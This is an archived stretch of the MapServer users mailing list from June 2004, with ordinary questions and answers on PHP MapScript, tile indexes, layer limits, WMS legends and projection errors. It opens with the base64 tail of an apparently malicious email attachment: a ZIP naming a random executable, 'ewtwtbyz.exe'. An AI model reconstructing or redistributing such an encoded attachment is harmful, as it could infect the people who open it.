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 AAIAAgByAAAAD1MAAAAA ----------avlwmyguqrqsaogcpadf-- From sebastien.dubois at esm2.imt-mrs.fr Wed Jun 16 04:40:58 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Wed, 16 Jun 2004 13:40:58 +0200 Subject: [Mapserver-users] box to select point php mapscript Message-ID: <1087386058.40d031cab2444@webmail.esm2.imt-mrs.fr> i'm working on how to do in mapscript/php a box to select some of my shapefile's points displayed (the points are taken from a postgresql/postgis table) and then change the style of the selected point and put them in another table or file. i know that the way to change the style of the selected points is to draw another layer up the last one. but how can i select my points and create a new table with them. in another application i've use jbox to do the selection by a box and display the attributes in another frame. this works well but the architecture is not very clear (liveConnect is used between javascript and the java applet Jbox) and working with phpmapscript allow more flexibility... i've read lots of post but i dream to have an explication of the way to code this and to read a code example ;-) thanks in advance -- S?bastien DUBOIS Portable: 0622751265 1024D/A1140BCB:1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From josb at pml.ac.uk Wed Jun 16 04:49:26 2004 From: josb at pml.ac.uk (John Beisley - RSG) Date: Wed, 16 Jun 2004 12:49:26 +0100 Subject: [Mapserver-users] More than 100 layers in Mapserver In-Reply-To: References: Message-ID: <40D033C6.3060308@pml.ac.uk> Hi, I think it would require a re-think as to whether you really need that number of layers. There are usually other ways of approaching the problem, such as tile indexing if you wish to break a layer up into many regional parts. For a large number of image types from which the user can choose it might be a good idea to consider mapscript to produce the required layers from the request. Regards, - John Trent Burton wrote: > Does anyone have Windows binaries for, say, 500 layers (or even more) > in Mapserver? Can anyone comment on if such a large number of layers > is an issue? > > Thanks, > > Trent Burton -- Website: www.pml.ac.uk Registered Charity No. 1091222 Company No. 4178503 ------------------------------------------------------------------- This e-mail, its content and any file attachments are confidential. If you have received this e-mail in error please do not copy, disclose it to any third party or use the contents or attachments in any way. Please notify the sender by replying to this e-mail or e-mail forinfo at pml.ac.uk and then delete the email without making any copies or using it in any other way. The content of this message may contain personal views which are not the views of Plymouth Marine Laboratory unless specifically stated. Email transmission cannot be guaranteed to be secure or error free From mapserver at gijs.com Wed Jun 16 05:11:22 2004 From: mapserver at gijs.com (Gijs Epping) Date: Wed, 16 Jun 2004 14:11:22 +0200 Subject: [Mapserver-users] More than 100 layers in Mapserver In-Reply-To: Message-ID: <000901c4539b$0a43ac60$0600a8c0@at11> This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C453AB.CDCC7C60 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit You have to create an tile index Locate gdaltindex on the server You can aplly the following with the gdal index tool /var/www/html/down/gdal-cvs-030530/apps/gdaltindex top25.shp /var/www/html/data/top25/*.tif Mapfile LAYER NAME top25 GROUP raster_layers STATUS ON TYPE RASTER TILEINDEX /var/www/html/data/tileindex/test.shp TILEITEM "location" END De TILEITEM is het veld is standaard. **** gebruikers add You can run gdaltindex multiple times (with different directories for instance) or list multiple directories on a single commandline. If the directories are all simple subdirectories of top25 you might be able to do something like: ./gdaltindex top25.shp /var/www/html/datalocal/top25/*/*.tif The key is that you have to provide all the directory seperators in your wildcarded expansion. Best regards, HYPERLINK "http://www.remotesensing.org/gdal/" \nhttp://www.remotesensing.org/gdal/ HYPERLINK "http://mapserver.gis.umn.edu/doc/raster-howto.html" \n http://mapserver.gis.umn.edu/doc/raster-howto.html Hope this helps you a bit -----Oorspronkelijk bericht----- Van: Trent Burton [mailto:tburton at holonics.ca] Verzonden: woensdag 16 juni 2004 13:34 Aan: mapserver-users at lists.gis.umn.edu Onderwerp: [Mapserver-users] More than 100 layers in Mapserver Does anyone have Windows binaries for, say, 500 layers (or even more) in Mapserver? Can anyone comment on if such a large number of layers is an issue? Thanks, Trent Burton --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.684 / Virus Database: 446 - Release Date: 13-5-2004 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.684 / Virus Database: 446 - Release Date: 13-5-2004 ------=_NextPart_000_000A_01C453AB.CDCC7C60 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Message

You have to create an tile index

Locate gdaltindex on the server

You can aplly the = following with the gdal index = tool

/var/www/html/down/gdal-cvs-030530/apps/gdaltindex top25.shp = /var/www/html/data/top25/*.tif


Mapfile

LAYER
 NAME top25
 GROUP raster_layers
 STATUS ON
 TYPE RASTER
 TILEINDEX /var/www/html/data/tileindex/test.shp
 TILEITEM "location"
END

De TILEITEM is het veld is standaard.

**** = gebruikers add
You can run gdaltindex multiple times (with different directories for instance) or list = multiple directories on a single commandline. If the directories are all simple subdirectories of top25 you might be able to = do something like:

./gdaltindex top25.shp /var/www/html/datalocal/top25/*/*.tif

The key is that you = have to provide all the directory seperators in your = wildcarded expansion.

Best regards,

http://www.remotesensing.org/gdal/

http://mapserver.gis.umn.edu/doc/raster-howto.html =

Hope this helps you a bit

 

 

 

 

-----Oorspronkelijk<= /font> bericht-----
Van: Trent Burton = [mailto:tburton at holonics.ca]
Verzonden: woensdag 16 = juni 2004 13:34
Aan: mapserver-users at lists.gis.umn.edu
Onderwerp: = [Mapserver-users] More than 100 layers in Mapserver

 

Does anyone have Windows binaries for, say, 500 = layers (or even more) in Mapserver?  Can anyone comment on if such a large = number of layers is an issue?

 

Thanks,

 

Trent Burton


---
Incoming mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.684 / Virus Database: 446 - Release Date: 13-5-2004


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.684 / Virus Database: 446 - Release Date: 13-5-2004

------=_NextPart_000_000A_01C453AB.CDCC7C60-- From Tom.Kralidis at ec.gc.ca Wed Jun 16 05:29:31 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Wed, 16 Jun 2004 08:29:31 -0400 Subject: [Mapserver-users] Requesting a legend with WMS Message-ID: <2576812186CDD411BF1500508B6DCE9507366FDA@ecnwri1.ontario.int.ec.gc.ca> MapServer 4.2 WMS allows for a GetLegendGraphic request, as per the SLD extension on top of WMS. Basically, the request would look something like: http://host/script?version=1.1.1&service=WMS&request=GetLegendGraphic&la yer=roads&format=image/png ..Tom > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Bart van den Eijnden > Sent: Wednesday, June 16, 2004 2:16 AM > To: Richard Orchard; mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Requesting a legend with WMS > > > Hi, > > there is with SLD WMS. I don't think our code is already in > CVS yet though. > > See the following bug report if you want to keep track of it: > http://mapserver.gis.umn.edu/bugs/show_bug.cgi> ?id=653 > > Best > regards, > Bart > > On Wed, 16 Jun 2004 12:31:14 > +0800, Richard Orchard > wrote: > > > hi, > > > > Is there a way to request a legend from MapServer with WMS? I have > > been searching for information, but it seems rather elusive... > > > > Thanks in advance, > > > > Richard > > > > > > > > > > This email and any files transmitted with it are confidential and > > intended solely for the use of the individual or entity to > whom they are > > addressed. If you have received this email in error please > notify the > > sender immediately and delete the original. Any other use > of the email > > by you is prohibited.. > > > > www.ermapper.com > > www.earthetc.com > > > > > > _______________________________________________ > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > -- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From Tom.Kralidis at ec.gc.ca Wed Jun 16 05:42:42 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Wed, 16 Jun 2004 08:42:42 -0400 Subject: [Mapserver-users] mapserver and context-based Message-ID: <2576812186CDD411BF1500508B6DCE9506A83627@ecnwri1.ontario.int.ec.gc.ca> Hi, You can use MapServer for Web Map Context Documents with PHP MapScript, which has two methods within the map object: loadMapContext(); saveMapContext(); Check out the PHP docs for more info. There is also a 'hidden' feature you can specify in your mapfile WEB METADATA object: "wms_getcontext_enabled" "1" ..which, if specified, allows for MapServer CGI to respond to: http://host/mapserv?map=map.map&request=GetContext ..keep in mind this is turned OFF by default, as the mapfile WMS connections may have information you may or may not want to expose. Hope this helps. ..Tom ========================= Tom Kralidis Systems Scientist Environment Canada Tel: +01-905-336-4409 http://www.ec.gc.ca/ -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of cristinanoversa at clix.pt Sent: Wednesday, June 16, 2004 6:36 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] mapserver and context-based I would like that someone could share with me some knowledge about mapserver and its use in context-based applications. Can anyone point me some existing applications? Thanks Cristina Clix Rapidix - Aumente at? 6X a velocidade da sua Internet Adira em http://acesso.clix.pt e comece logo a navegar _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From tburton at holonics.ca Wed Jun 16 05:42:59 2004 From: tburton at holonics.ca (Trent Burton) Date: Wed, 16 Jun 2004 08:42:59 -0400 Subject: [Mapserver-users] shp2img error on my mapfile Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C4539F.74ACC47A Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I have been looking through past e-mails speaking of this error (but a different error number) that talks about checking your epsg file to see if the epsg codes in my mapfile are in the epsg file, and making sure that the epsg file exists (the codes are indeed there and I have installed proj folder as C:\Proj), but I get the following error. I am operating on Win 2K box. =20 msProcessProjection(): Projection library error. no system list, errno: 1372071423 =20 Does this error mean anything to anyone? =20 Thanks, =20 Trent ------_=_NextPart_001_01C4539F.74ACC47A Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
I have = been looking=20 through past e-mails speaking of this error (but a different error = number) that=20 talks about checking your epsg file to see if the epsg codes in my = mapfile are=20 in the epsg file, and making sure that the epsg file exists (the codes = are=20 indeed there and I have installed proj folder as C:\Proj), but I get the = following error.  I am operating on Win 2K box.
 
msProcessProjection(): Projection = library error. no=20 system list, errno: 1372071423
 
Does = this error mean=20 anything to anyone?
 
Thanks,
 
Trent
=00 ------_=_NextPart_001_01C4539F.74ACC47A-- From sbeorchia at gi-lemans.fr Wed Jun 16 05:42:35 2004 From: sbeorchia at gi-lemans.fr (Sylvain Beorchia) Date: Wed, 16 Jun 2004 14:42:35 +0200 Subject: [Mapserver-users] box to select point php mapscript References: <1087386058.40d031cab2444@webmail.esm2.imt-mrs.fr> Message-ID: <006301c4539f$67687160$8469850a@GILEMANS> Hi all, You don't have to draw another layer to change the style of an object. Just before drawing the map : $oLayer = $gpoMap->getLayerByName('foyers'); // foyers is the name of my layer $oLayer->set("status", 1); $sym1 = $gpoMap->getSymbolByName ( "BF125" ); // retreive a symbol from the symbol file $class = $oLayer->getClass (0); // retreive the class of the layer on which the objects are $style = $class->getStyle(0); // retreive the style $style->color->setRGB(0, 255, 0); // change the style $style->set ( 'symbol', $sym1 ); // change the style $img = $gpoMap->draw(); $url = $img->saveWebImage($gAppletImgFmt, 0, 0, -1); ... It works very well. Tell me how u find this code. Thank u. Sylvain. ----- Original Message ----- From: "S?bastien DUBOIS" To: Sent: Wednesday, June 16, 2004 1:40 PM Subject: [Mapserver-users] box to select point php mapscript > i'm working on how to do in mapscript/php a box to select some of my > shapefile's > points displayed (the points are taken from a postgresql/postgis table) and > then change the style of the selected point and put them in another table or > file. > i know that the way to change the style of the selected points is to draw > another layer up the last one. > but how can i select my points and create a new table with them. > > in another application i've use jbox to do the selection by a box and display > the attributes in another frame. this works well but the architecture is not > very clear (liveConnect is used between javascript and the java applet Jbox) > and working with phpmapscript allow more flexibility... > > i've read lots of post but i dream to have an explication of the way to code > this and to read a code example ;-) > > thanks in advance > -- > S?bastien DUBOIS > Portable: 0622751265 > 1024D/A1140BCB:1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB > > > > > > ------------------------------------------------- > This mail sent through IMP: http://horde.org/imp/ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Wed Jun 16 05:59:46 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 16 Jun 2004 08:59:46 -0400 Subject: [Mapserver-users] More than 100 layers in Mapserver Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB070B35F2@ptolemy.topozone.com> Trent - In addition to the advice you're getting about why you might not need more than 100 layers, you should know that there's nothing wrong with using more than 100 layers . There's a static array of layer information in MapServer, and by default it's compiled for 100 entries; making it larger would make MapServer use more memory (but not really very much) and most users don't need it. But there's nothing wrong with it - I use it that way all the time. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Trent Burton Sent: Wednesday, June 16, 2004 7:34 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] More than 100 layers in Mapserver Does anyone have Windows binaries for, say, 500 layers (or even more) in Mapserver? Can anyone comment on if such a large number of layers is an issue? Thanks, Trent Burton From eric at gomoos.org Wed Jun 16 06:43:03 2004 From: eric at gomoos.org (Eric Bridger) Date: 16 Jun 2004 09:43:03 -0400 Subject: [Mapserver-users] about gmap In-Reply-To: References: Message-ID: <1087393388.1952.2.camel@ubet.gomoos.org> On Wed, 2004-06-16 at 04:48, boli wrote: > I have download gmap and installed it under apache2. While I browse it, something went wrong. The error-message is: > Warning: [MapServer Error]: msGetLabelSize(): Could not find/open font in D:\Program Files\Apache Group\Apache2\htdocs\gmap\htdocs\gmap75.php3 on line 530 > Fatal error: Call to a member function on a non-object in D:\Program Files\Apache Group\Apache2\htdocs\gmap\htdocs\gmap75.php3 on line 531 > What can I do about it? I know little about the gmap demo, but the problem is with your True Type fonts. Mapserver can't find them. See this url to get you started on your search: http://mapserver.gis.umn.edu/doc40/fontset.html From warmerdam at pobox.com Wed Jun 16 06:47:30 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Wed, 16 Jun 2004 09:47:30 -0400 Subject: [Mapserver-users] shp2img error on my mapfile In-Reply-To: References: Message-ID: <40D04F72.4030205@pobox.com> Trent Burton wrote: > I have been looking through past e-mails speaking of this error (but a > different error number) that talks about checking your epsg file to see > if the epsg codes in my mapfile are in the epsg file, and making sure > that the epsg file exists (the codes are indeed there and I have > installed proj folder as C:\Proj), but I get the following error. I am > operating on Win 2K box. > > msProcessProjection(): Projection library error. no system list, errno: > 1372071423 Trent, Well, it isn't a very good sign. The crazy number would seem to indicate that the pj_errno variable was not properly initialized or was overwritten by some sort of memory corruption. Generally speaking, getting an error message from msProcessProjection() means that pj_init() failed for some reason. So, yes, you do have a projections problem. I imagine you did this before, but could you send me your projection declarations? Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From eduardo at consultoria.eti.br Tue Jun 15 18:55:59 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Tue, 15 Jun 2004 22:55:59 -0300 Subject: [Mapserver-users] changing symbols while scale varies In-Reply-To: References: Message-ID: <40CFA8AF.4070908@consultoria.eti.br> nice idea.

I was trying to avoid this solution because I don't want to manipulate two layer names, but maybe using the GROUP word I can fit my needs.

thanks for the sugestion.

best.

Eduardo

David Fawcett escreveu:
Eduardo, 

You could simply define two separate scale-dependent layers by specifying MINSCALE and MAXSCALE to fit the two ranges of scale.  

You would then define a vector symbol in one layer and the pixmap symbol in the other layer.  

David.

David J. Fawcett
MN Office of Environmental Assistance

  
"Eduardo Patto Kanegae" <eduardo at consultoria.eti.br> 6/15/2004 2:57:54 PM >>>
        

using a standard mapserver cgi application, is it possible to declare a "multi-symbology" for a given layer?

eg.: the layer will show VECTOR SYMBOLS while scale goes from 1:100000 to 1:10001

and from 1:10000 to 1:1000 it will show a given FILE ( .gif, .png ) as pixmap symbols.

Eduardo Patto Kanegae
http://www.consultoria.eti.br 
UIN: 303747254

Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver 
I Encontro Nacional de Usuários MapServer - http://mapserver.cttmar.univali.br/encontro2004 
Projeto MapServer Brasil - http://mapserver.cttmar.univali.br 

***Fim da Mensagem / End of Message ***




_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



  

-- 
Eduardo Patto Kanegae
http://www.consultoria.eti.br
UIN: 303747254

Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver
I Encontro Nacional de Usuários MapServer - http://mapserver.cttmar.univali.br/encontro2004
Fórum MapServer Brasil - http://mapserver.cttmar.univali.br/forum

***Fim da Mensagem / End of Message ***
From eric at gomoos.org Wed Jun 16 07:04:06 2004 From: eric at gomoos.org (Eric Bridger) Date: 16 Jun 2004 10:04:06 -0400 Subject: [Mapserver-users] mod_perl segfaults In-Reply-To: <20040615144436.DF58C1A65C7@mail.medinaco.org> References: <20040615144436.DF58C1A65C7@mail.medinaco.org> Message-ID: <1087394651.1952.16.camel@ubet.gomoos.org> On Tue, 2004-06-15 at 10:44, Lowell Filak wrote: > The following message was sent by Robert Marcus Evans > on Tue, 15 Jun 2004 10:24:56 -0400. > > > Actually, we're using mod_perl/HTML::Mason in one place, and straight > cgi's > > in another. The CGI's don't ever seem to crash, whereas the mason is > > unstable. I don't think it would be a threading issue, as I create a > new map > > object for each request. However, it would be possible for multiple > > simultaneous map objects to exist for the same base file. Furthermore, > I use > > the static .map file as a base, and draw different dynamic objects on top, > > depending on the request. I don't explicitly kill the map objects (is > there > > some kind of locking mechanism?), but then they're in a lexical scope and > > should be garbage collected. You guys seem to be suggesting that if I > used a > > static map object for each apache process, the problem would still exist. > > Anyone have any other ideas? > > > > -rob > > > > Lowell Filak wrote this on Tue, Jun 15, 